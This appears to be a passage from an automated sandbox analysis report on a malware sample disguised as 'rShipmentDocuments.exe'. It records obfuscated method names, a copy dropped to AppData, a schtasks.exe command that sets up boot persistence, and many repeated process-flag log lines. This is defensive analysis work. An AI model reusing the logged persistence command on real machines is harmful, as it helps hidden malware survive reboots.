Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, nSJmboJMlQX1MjvRbF.cs	High entropy of concatenated method names: 'PR5TGyjIux', 'RjeTp0rKrp', 'TnTTdw65DD', 'OvIToawqCA', 'uY9T2sKkJi', 'XQVTcFavt3', 'wJyTJxOMul', 'Wf3T59jFta', 'PwWT1jVNbN', 'HLOTtJCjBI'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, n1RHYrzOvkNoCypqxv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QNDrT23w9l', 'eUvrXhj59N', 'AAxrKi78yI', 'ng3rfXJDDt', 'lplrBHsi0h', 'du2rruGQ1c', 'ARXrO0ByiC'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, ej24U02jMkJFDYhhLB.cs	High entropy of concatenated method names: 'jCpBWVVIgh', 'ei5B0owIh8', 'X24BHCxlVR', 'x7gBQjMYXC', 'EbkB4Oks9w', 'klDBaEsOYg', 'IpRBFdeDva', 'WIcB8GfT3c', 'W0LBCSI4CH', 'MAMByKUJpy'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, yMxGlJ7yHLI4VmhwgP.cs	High entropy of concatenated method names: 'JJkfC9M6r0', 'To1fyO6V6X', 'ToString', 'EH0fWeJ5GH', 'iVmf0NNGpu', 'C21fH5tDeM', 'rtPfQ6lLd4', 'UECf4TNT17', 'vUEfa4ewC9', 'DZRfFb1K4L'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, EsoFSY1MObHNFvQ0yc.cs	High entropy of concatenated method names: 'weNr3ELckE', 'bYwrgh3JNF', 'NT4ruV2OPY', 'E9xrW2m6KQ', 'lcsr0wfgyD', 'UGYrQtCDfg', 'E5fr4SRavu', 'VbhBMmgLqE', 'OUDBDm9bgI', 'ryGBSA4fpR'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, hdAVyr44GYdXRtyTuLG.cs	High entropy of concatenated method names: 'ToString', 'ubJOgovSk8', 'i9POuw6ECr', 'l1sOmfJpMN', 't8vOWsB0vp', 'iMMO0VFYrC', 'PDuOHPRuPt', 'yjJOQlPG3O', 'Ddo0HSeILfk12ZA7FEA', 'hR65JTe0aurssDo5vXt'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, z0u6FmON9MQ6CyDB1o.cs	High entropy of concatenated method names: 'uh2Bd4uvT6', 'HlrBoZ6qD3', 'jm8BxKcDwq', 'bNLB2cZIGx', 'jRJB7ZJMOe', 'NRtBc0N1l1', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, v2559Cskf3ytVZ5mSG.cs	High entropy of concatenated method names: 'rtYHsdjGE7', 'P2WHq0gNe1', 'B6FHGZcgn0', 'dcZHpveFUp', 'WO1HXtj9rM', 'DljHKqvF8J', 'jeZHfPVBXW', 'sTrHByZ4Jn', 'lLlHrHqZjH', 'gF2HOFObap'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, WuxZfQxTK70JGtybAX.cs	High entropy of concatenated method names: 'ToString', 'CKxKt5bHCD', 'RobKonCHh0', 'ccRKxakiYl', 'BMCK2ps888', 'Q7ZKcj2ooO', 'jaCKAB1c6w', 'RynKJnIe0A', 'hneK5oH9J4', 'ti4KLWKYBM'

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File created: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
